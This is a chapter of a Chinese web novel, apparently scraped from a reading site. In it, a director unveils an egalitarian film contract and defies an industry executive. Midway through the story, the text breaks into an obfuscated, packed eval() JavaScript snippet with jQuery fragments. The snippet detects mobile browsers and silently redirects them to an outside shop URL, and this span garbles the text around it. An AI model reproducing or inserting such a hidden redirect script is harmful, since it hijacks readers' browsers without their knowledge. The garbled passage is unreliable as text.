80.我宣布:《野草》没有番位,只有“创作者”

作品:《我在娱乐圈苟到了终点

    签约仪式设在“透明创作联盟”的露天平台。


    没有红毯,没有香槟塔,只有简单的长桌和几十把折叠椅。


    到场的除了主创团队,还有众筹支持者代表、合作方代表,以及——


    八大公司派来的“观察员”。


    他们坐在最后一排,西装革履,面无表情,像一排沉默的墓碑。


    沈小鱼走上台时,阳光正烈。


    她穿着简单的白衬衫和牛仔裤,手里没有演讲稿,只有一份厚厚的合同副本。


    “感谢各位今天到场。”


    她开口,声音通过简陋的扩音器传开,“在签署正式合同之前,我有几句话要说。”


    台下安静下来。


    “在座的很多人知道,《野草》这个项目,是在被封杀、被围剿、被预言‘绝对不可能成’的环境里,硬生生撕开一条路走出来的。”


    沈小鱼说,“我们靠的不是资本,不是人脉,是一万多名众筹支持者的信任,是□□‘文艺精品扶持工程’的认可,更是这个团队里每一个人——从编剧到场工——把命押进去的狠劲。”


    她举起手中的合同:


    “所以今天这份合同,和业内通行的版本,有一些根本性的不同。”


    她翻开第一页:


    “第一,主创名单排序。”


    “这里没有‘一番’‘二番’,没有‘领衔主演’‘特别出演’。”


    “所有参与创作的人,按贡献度排序。”


    “编剧陆青然的名字,排在演员前面。美术指导的名字,排在女二号前面。”


    “为什么?”


    她看向台下:


    “因为在这个剧组,戏比天大。而戏,是所有人一起做出来的。”


    后排的“观察员”们交换了一下眼神。


    “第二,片酬上限。”


    沈小鱼翻到下一页,“《野草》总预算五千万,其中演员总片酬不超过七百五十万——也就是15%。我的导演片酬,和许昕的片酬一样。为什么?”


    她顿了顿:


    “因为我要让所有人知道,钱应该花在哪儿——花在场景实搭上,花在胶片拍摄上,花在让编剧有足够时间改剧本上,花在场工能吃上一口热饭上。而不是花在某个明星的房车和随行人员上。”


    台下有零星的掌声,来自众筹代表。


    “第三,也是最重要的一条。”


    沈小鱼合上合同,看着所有人,“利润分配。”


    她身后的大屏幕亮起,是一张清晰的饼图。


    “如果《野草》未来有盈利——我说如果,因为文艺片赚钱是小概率事件——那么利润的40%,将分配给核心幕后创作者:编剧、摄影、美术、音乐、剪辑。30%回馈众筹支持者。20%注入‘星火计划’基金,扶持下一个‘陆青然’和‘许昕’。剩下10%,才是投资方和主创团队的分红。”


    她停顿,让每一个数字沉下去:


    “这意味着,如果这部电影成功了,赚得最多的不是明星,不是导演,不是资本家——是那些通常被写在片尾字幕最后、没人会注意的名字。”


    全场寂静。


    连风都停了。


    后排一位“观察员”终于忍不住站了起来——


    那是八大公司中体量最大的“星光娱乐”的副总裁,一个五十多岁、头发梳得一丝不苟的男人。


    “沈导。”


    他的声音很沉,带着久居上位的压迫感,“你这是在破坏行业规则。”


    “对。”


    沈小鱼点头,“我就是在破坏。”


    “你知道这么做的后果吗?没有明星会接你的戏!没有资本会投你的项目!你会被整个行业孤立!”


    沈小鱼笑了。


    那笑容很淡,但锋利。


    “张总,我问您一个问题。”


    她说,“您公司去年那部投资三个亿、请了顶流阵容的《倾城之恋》,票房多少?”


    张总脸色一僵。


    “一点二亿,亏了两亿多。”


    沈小鱼替他说了,“而同期,一部小成本纪录片《大桥下面》,投资两百万,票房六千万。赚了。”


    她向前走了一步:


    “您说的‘行业规则’,就是让亏钱成为常态,让烂片充斥市场,让观众一次次失望,然后反过来骂‘中国电影不行了’的规则吗?”


    张总张了张嘴,没发出声音。


    “如果是。”


    沈小鱼说,“那这个规则,早该被砸碎了。”


    她转身,面向所有人,声音提高:


    “今天,我站在这里宣布:《野草》剧组,从今天起,实行全新的创作公约!”


    大屏幕上跳出公约全文。


    第一条:创作本位。一切决策以作品质量为唯一标准。


    第二条:财务透明。每一分钱的去向,每月向全体主创公示。


    第三条:平等尊重。导演的盒饭和场务的盒饭,菜色一样。


    第四条:利益共享。利润向核心创作岗位倾斜。


    ……


    整整十条。


    每一条,都在抽打旧规则的耳光。


    沈小鱼念完最后一条,台下寂静了整整十秒。


    然后——</p


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17040792|193092||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    >


    第一个站起来鼓掌的,是许昕。


    她眼眶通红,但手拍得很用力。


    接着是陆青然,是美术老陈,是摄影师,是场务组的代表,是众筹支持者里那位白发苍苍的老教授——


    掌声像潮水般漫开。


    最后一排,“观察员”们坐在那里,像礁石。


    但潮水已经涌上来了,漫过他们的脚踝,他们的膝盖。


    张总铁青着脸,起身离席。


    另外几个人犹豫了一下,也跟了上去。


    沈小鱼没有看他们。


    她拿起笔,在合同上签下自己的名字。


    然后是陆青然,是许昕,是每一个主创成员。


    签名仪式很慢,很庄重。


    每个人都写得用力,仿佛那不是名字,是誓言。


    全部签完时,已是黄昏。


    夕阳把平台染成金色,每个人的影子都拉得很长,交错在一起,像一片茂密的森林。


    沈小鱼站在平台边缘,看着远处城市渐次亮起的灯火。


    许昕走到她身边。


    “沈老师。”


    女孩轻声说,“我有点怕。”


    “怕什么?”


    “怕我们做的这一切,最后只是一场梦。”


    许昕说,“怕电影拍出来,没人看。怕我们改变了规则,但世界还是原来的样子。”


    沈小鱼没有立刻回答。


    她看着天边最后一缕光沉入地平线,然后,第一颗星星亮了起来。


    “许昕。”


    她说,“你抬头看。”


    许昕抬头。


    夜空深邃,星辰初现。


    “星星一直都在。”


    沈小鱼说,“只是白天的时候,我们看不见。但看不见,不代表它们不存在。”


    她转头看着女孩:


    “我们现在做的,就是在白天点灯。很蠢,很费力,会被人嘲笑‘多此一举’。但如果我们点得足够多,足够亮——”


    她顿了顿:


    “也许有一天,白天也会像夜晚一样,能看见光。”


    远处,水泥厂的方向,剧组已经点亮了夜拍的灯光。


    一束光刺破黑暗,然后是第二束,第三束。


    它们交错,重叠,在夜空中划出坚定的轨迹。


    像在书写什么。


    沈小鱼转身,走向那片光。


    “走吧。”


    她说,“该开工了。”


    许昕跟在她身后。


    两人的影子投在地上,很长,很稳。


    像两棵正在扎根的——


    野草。